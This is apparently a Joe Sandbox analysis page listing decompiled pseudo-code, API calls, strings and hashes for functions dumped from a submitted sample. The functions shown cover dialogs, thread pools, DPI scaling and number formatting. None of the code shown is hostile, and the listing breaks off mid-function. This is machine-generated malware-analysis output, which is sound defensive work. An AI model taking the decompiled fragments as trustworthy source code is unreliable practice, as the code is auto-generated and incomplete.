Instruction Fuzzy Hash: A911DA32260201BFD611DF9CAD4EF663B68EB4A742F004111FA40E70A1C7B198799727

Uniqueness

Uniqueness Score: -1.00%

Function 0024D103 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0024D103(void* __ebx, void* __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t26;
				signed int* _t30;
				void* _t31;
				void* _t34;
				void* _t42;
				void* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t50;

				_t44 = __edi;
				_t43 = __ecx;
				_t42 = __ebx;
				_t48 = _t49 - 0x64;
				_t50 = _t49 - 0xac;
				_t46 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x2c)) > 0) {
					 *((intOrPtr*)(_t48 + 0x5c)) =  *((intOrPtr*)(_t48 + 0x6c));
					 *((char*)(_t48 + 8)) = 0;
					 *((intOrPtr*)(_t48 + 0x60)) = _t48 + 8;
					if( *((intOrPtr*)(_t48 + 0x74)) != 0) {
						E002514F2( *((intOrPtr*)(_t48 + 0x74)), _t48 - 0x48, 0x50);
					}
					_t26 =  *((intOrPtr*)(_t48 + 0x70));
					if(_t26 == 0) {
						E0024FD3B(_t48 + 8, "s", 0x50);
					} else {
						_t34 = _t26 - 1;
						if(_t34 == 0) {
							_push(_t48 - 0x48);
							_push("$%s");
							goto L9;
						} else {
							if(_t34 == 1) {
								_push(_t48 - 0x48);
								_push("@%s");
								L9:
								_push(0x50);
								_push(_t48 + 8);
								E0024DCAB();
								_t50 = _t50 + 0x10;
							}
						}
					}
					_t16 = _t46 + 0x18; // 0x63
					_t18 = _t46 + 0x14; // 0x31fbaf0
					_t30 = E00265739(_t42, _t43, _t44, _t46, _t48 + 0x58,  *_t18,  *_t16, 4, E0024CF20);
					if(_t30 == 0) {
						goto L1;
					} else {
						_t20 = 0x27d158 +  *_t30 * 0xc; // 0x2736b8
						E00265DA0( *((intOrPtr*)(_t48 + 0x78)),  *_t20,  *((intOrPtr*)(_t48 + 0x7c)));
						_t31 = 1;
					}
				} else {
					L1:
					_t31 = 0;
				}
				return _t31;
			}

0x0024d103
0x0024d103
0x0024d103
0x0024d104
0x0024d108
0x0024d10f
0x0024d115
0x0024d125
0x0024d12b
0x0024d12f
0x0024d132
0x0024d13d
0x0024d13d
0x0024d145
0x0024d148
0x0024d183
0x0024d14a
0x0024d14a
0x0024d14d
0x0024d162
0x0024d163
0x00000000
0x0024d14f
0x0024d152
0x0024d157
0x0024d158
0x0024d168
0x0024d16b
0x0024d16d
0x0024d16e
0x0024d173
0x0024d173
0x0024d152
0x0024d14d
0x0024d18f
0x0024d195
0x0024d199
0x0024d1a3
0x00000000
0x0024d1a9
0x0024d1af
0x0024d1b8
0x0024d1c0
0x0024d1c0
0x0024d117
0x0024d117
0x0024d117
0x0024d117
0x0024d1c7

APIs

__fprintf_l.LIBCMT ref: 0024D16E
_strncpy.LIBCMT ref: 0024D1B8

Strings

@%s, xrefs: 0024D158
$%s, xrefs: 0024D163

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: a17a426d3404d06707d00c32ef757e55e64fb600f0e8a431b38fee18df4e0639
Instruction ID: 994b4ab08b9d4d9d6b5d894032bd8bb7d5ac5142c68962b5d1d3cbf391e65e15
Opcode Fuzzy Hash: a17a426d3404d06707d00c32ef757e55e64fb600f0e8a431b38fee18df4e0639
Instruction Fuzzy Hash: D3218E72560209EADB25DEA4CC46FDE3BA8AF05700F144412FE0C961A2D271DA69CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0024B437 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0024B437(void* __ecx, void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t23;
				signed short* _t27;
				signed int _t29;
				signed int _t31;

				_t20 = _a8;
				_t27 = _a4;
				 *_t20 = 0;
				_t10 = E0024B746(_t27);
				if(_t10 == 0) {
					_t29 = 0x5c;
					if( *_t27 == _t29 && _t27[1] == _t29) {
						_push(_t29);
						_push( &(_t27[2]));
						_t10 = E00261438(__ecx);
						_pop(_t23);
						if(_t10 != 0) {
							_push(_t29);
							_push(_t10 + 2);
							_t13 = E00261438(_t23);
							if(_t13 == 0) {
								_t14 = E002633F3(_t27);
							} else {
								_t14 = (_t13 - _t27 >> 1) + 1;
							}
							asm("sbb esi, esi");
							_t31 = _t29 & _t14;
							E002656A2(_t20, _t27, _t31);
							_t10 = 0;
							 *((short*)(_t20 + _t31 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E00243FD6(_t20, _a12, L"%c:\\",  *_t27 & 0x0000ffff);
			}

0x0024b438
0x0024b43f
0x0024b444
0x0024b447
0x0024b44e
0x0024b46b
0x0024b46f
0x0024b47a
0x0024b47b
0x0024b47c
0x0024b482
0x0024b485
0x0024b48a
0x0024b48b
0x0024b48c
0x0024b495
0x0024b49f
0x0024b497
0x0024b49b
0x0024b49b
0x0024b4a9
0x0024b4ab
0x0024b4b0
0x0024b4b8
0x0024b4ba
0x0024b4ba
0x0024b485
0x00000000
0x0024b4be
0x00000000

APIs

_swprintf.LIBCMT ref: 0024B45E

Part of subcall function 00243FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00243FE9

_wcschr.LIBVCRUNTIME ref: 0024B47C
_wcschr.LIBVCRUNTIME ref: 0024B48C

Strings

%c:\, xrefs: 0024B454

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: c730cd66374e61dda9c5005f2a940af0b3ebe7a3ba78ab3bf575ece033f57354
Instruction ID: a2d9377ef4b5b62641eba58a977a4af6847faae95b3416f0ca427c3ab143fb17
Opcode Fuzzy Hash: c730cd66374e61dda9c5005f2a940af0b3ebe7a3ba78ab3bf575ece033f57354
Instruction Fuzzy Hash: C901492352431269D7256F358C86D2BB3ACEE86370B848806F944C6482FF24D4B4C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 00250618 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00250618(long* __ecx, long _a4) {
				void* __esi;
				void* __ebp;
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t25 = __ecx;
				_t23 = 0x40;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x41] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0xc8]); // 0x320
				_t25[0xc5] = 0;
				InitializeCriticalSection(_t3);
				_t25[0xc6] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0xc7] = _t14;
				if(_t25[0xc6] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x27ff50);
					E00246E21(E00246E26(_t19), 0x27ff50, _t25, 2);
				}
				_t25[0xc3] = 0;
				_t25[0xc4] = 0;
				_t25[0x42] = 0;
				return _t25;
			}

0x00250618
0x00250618
0x00250620
0x00250624
0x00250625
0x00250629
0x0025062b
0x0025062b
0x00250634
0x00250636
0x00250636
0x00250638
0x00250640
0x00250642
0x00250642
0x00250644
0x0025064a
0x00250651
0x00250665
0x0025066b
0x00250671
0x0025067d
0x00250683
0x0025068d
0x00250699
0x00250699
0x0025069f
0x002506a7
0x002506ad
0x002506b6

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0024AB05,00000008,?,00000000,?,0024CAC8,?,00000000), ref: 00250651
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0024AB05,00000008,?,00000000,?,0024CAC8,?,00000000), ref: 0025065B
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0024AB05,00000008,?,00000000,?,0024CAC8,?,00000000), ref: 0025066B

Strings

Thread pool initialization failed., xrefs: 00250683

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 76c6b4a01b671706dac47cad8a0dee9b7ec26112c90dcb6df5041f4ba6a0ce81
Instruction ID: f4ca741139849b569ee80bc80a99e821188f24dfde0d210ca062c830b24601a4
Opcode Fuzzy Hash: 76c6b4a01b671706dac47cad8a0dee9b7ec26112c90dcb6df5041f4ba6a0ce81
Instruction Fuzzy Hash: 3C11E0B1610709AFC3305F65DCC8AA7FBECEBA5301F10482EE5DE86200DA702994CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0025D1E1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0025D1E1(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				WCHAR* _t16;
				_Unknown_base(*)()* _t19;
				int _t22;

				 *0x29cc80 = _a12;
				 *0x29cc84 = _a16;
				 *0x287464 = _a20;
				if( *0x287443 == 0) {
					if( *0x287442 == 0) {
						_t19 = E0025B820;
						_t16 = L"REPLACEFILEDLG";
						while(1) {
							_t22 = DialogBoxParamW( *0x27fed4, _t16,  *0x287438, _t19, _a4);
							if(_t22 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x27fed0, L"RENAMEDLG",  *0x287448, E0025CB10, _a4) != 0) {
								break;
							}
						}
						return _t22;
					}
					return 1;
				}
				return 0;
			}

0x0025d1ee
0x0025d1f6
0x0025d1fe
0x0025d203
0x0025d210
0x0025d21a
0x0025d21f
0x0025d249
0x0025d260
0x0025d265
0x00000000
0x00000000
0x0025d247
0x00000000
0x00000000
0x0025d247
0x00000000
0x0025d26b
0x00000000
0x0025d214
0x00000000

Strings

REPLACEFILEDLG, xrefs: 0025D21F, 0025D253
RENAMEDLG, xrefs: 0025D234

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: e0ca6d31dacc47aa4829ea2d5f6a1a6158ba23c89115f0f9eae68ba4c3138de9
Instruction ID: 9feea144b428b013bd13475f65c470d3e3201bd8efc203c7312d0f2695a1a095
Opcode Fuzzy Hash: e0ca6d31dacc47aa4829ea2d5f6a1a6158ba23c89115f0f9eae68ba4c3138de9
Instruction Fuzzy Hash: 5F019E36A29245AFCB219F24FC48A567FB8A705392F144022FC09C3232D671CCB8E7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00259CA9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00259CA9(signed int _a4) {
				signed int _t4;
				signed int _t10;
				struct HDC__* _t13;

				if( *0x287428 == 0) {
					_t13 = GetDC(0);
					if(_t13 != 0) {
						 *0x287428 = GetDeviceCaps(_t13, 0x58);
						ReleaseDC(0, _t13);
					}
				}
				_t4 =  *0x287428; // 0x60
				_t10 = 0x60;
				asm("cdq");
				return _t4 * _a4 / _t10;
			}

0x00259cb0
0x00259cbb
0x00259cbf
0x00259ccd
0x00259cd2
0x00259cd2
0x00259cd8
0x00259cd9
0x00259ce5
0x00259ce6
0x00259ce9

APIs

GetDC.USER32(00000000), ref: 00259CB5
GetDeviceCaps.GDI32(00000000,00000058), ref: 00259CC4
ReleaseDC.USER32(00000000,00000000), ref: 00259CD2

Strings

v, xrefs: 00259CD2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CapsDeviceRelease
String ID: v
API String ID: 127614599-1801730948
Opcode ID: 63299561e48adb564d3bdd46c6ebc65b150b274462ac4787e1e9937b74de8c60
Instruction ID: 419d879f026b9b48039ddcae3b8841c438b0d5a63ebd96f6a03b0bc98253b747
Opcode Fuzzy Hash: 63299561e48adb564d3bdd46c6ebc65b150b274462ac4787e1e9937b74de8c60
Instruction Fuzzy Hash: 94E0123555676197D2108B54BD4DB8B3BA89769733F104006FA059A190CA7484A48794

Uniqueness

Uniqueness Score: -1.00%

Function 00259CEC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00259CEC(signed int _a4) {
				signed int _t4;
				signed int _t10;
				struct HDC__* _t13;

				if( *0x28742c == 0) {
					_t13 = GetDC(0);
					if(_t13 != 0) {
						 *0x28742c = GetDeviceCaps(_t13, 0x5a);
						ReleaseDC(0, _t13);
					}
				}
				_t4 =  *0x28742c; // 0x60
				_t10 = 0x60;
				asm("cdq");
				return _t4 * _a4 / _t10;
			}

0x00259cf3
0x00259cfe
0x00259d02
0x00259d10
0x00259d15
0x00259d15
0x00259d1b
0x00259d1c
0x00259d28
0x00259d29
0x00259d2c

APIs

GetDC.USER32(00000000), ref: 00259CF8
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00259D07
ReleaseDC.USER32(00000000,00000000), ref: 00259D15

Strings

v, xrefs: 00259D15

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CapsDeviceRelease
String ID: v
API String ID: 127614599-1801730948
Opcode ID: 362902b91558e7aa59595e549cfe3b9b708543fe3ab149866c23d03a185fc696
Instruction ID: 4a5cf3fed5e365ed1b2763fd4eee58c8979d04d7e6792875cafddaee00de3e02
Opcode Fuzzy Hash: 362902b91558e7aa59595e549cfe3b9b708543fe3ab149866c23d03a185fc696
Instruction Fuzzy Hash: 09E0483655722297D3109B61BC0DB473F74A769722F104006FA05991D4C774C4748F54

Uniqueness

Uniqueness Score: -1.00%

Function 00259D6F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00259D6F() {
				int _t4;
				struct HDC__* _t9;

				_t9 = GetDC(0);
				_t4 = GetDeviceCaps(_t9, 0xc);
				ReleaseDC(0, _t9);
				return 0 | _t4 - 0x00000020 >= 0x00000000;
			}

0x00259d79
0x00259d7e
0x00259d89
0x00259d99

APIs

GetDC.USER32(00000000), ref: 00259D73
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00259D7E
ReleaseDC.USER32(00000000,00000000), ref: 00259D89

Strings

v, xrefs: 00259D89

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CapsDeviceRelease
String ID: v
API String ID: 127614599-1801730948
Opcode ID: 40e9b9c297ae8c50b3a7e881e37b345565807b45372acbb271d4e4b41b8e82e6
Instruction ID: 9d1d861b56b2845aff51e79c2eb958421835066b969f8e1d02c663158c1e3de9
Opcode Fuzzy Hash: 40e9b9c297ae8c50b3a7e881e37b345565807b45372acbb271d4e4b41b8e82e6
Instruction Fuzzy Hash: 3FD0C9322412716BE32027B9BC0FFDF3E54DF8A6B1F064522FA05CE1D8ED6448D286A0

Uniqueness

Uniqueness Score: -1.00%

Function 0026905E Relevance: 6.3, APIs: 4, Instructions: 305
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0026905E(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E00263C16(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v48 + 0x88))))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E0025E340( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E0025E340( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t54 = _t186 - 1; // 0x264881
							_t116 = _t54;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E0025F1A0(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E0025E340( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E0025E660();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E0025E660();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E0025E660();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E00269361(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E00271960(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E002687DA();
					_t183 = 0x22;
					 *_t129 = _t183;
					E002686B9();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
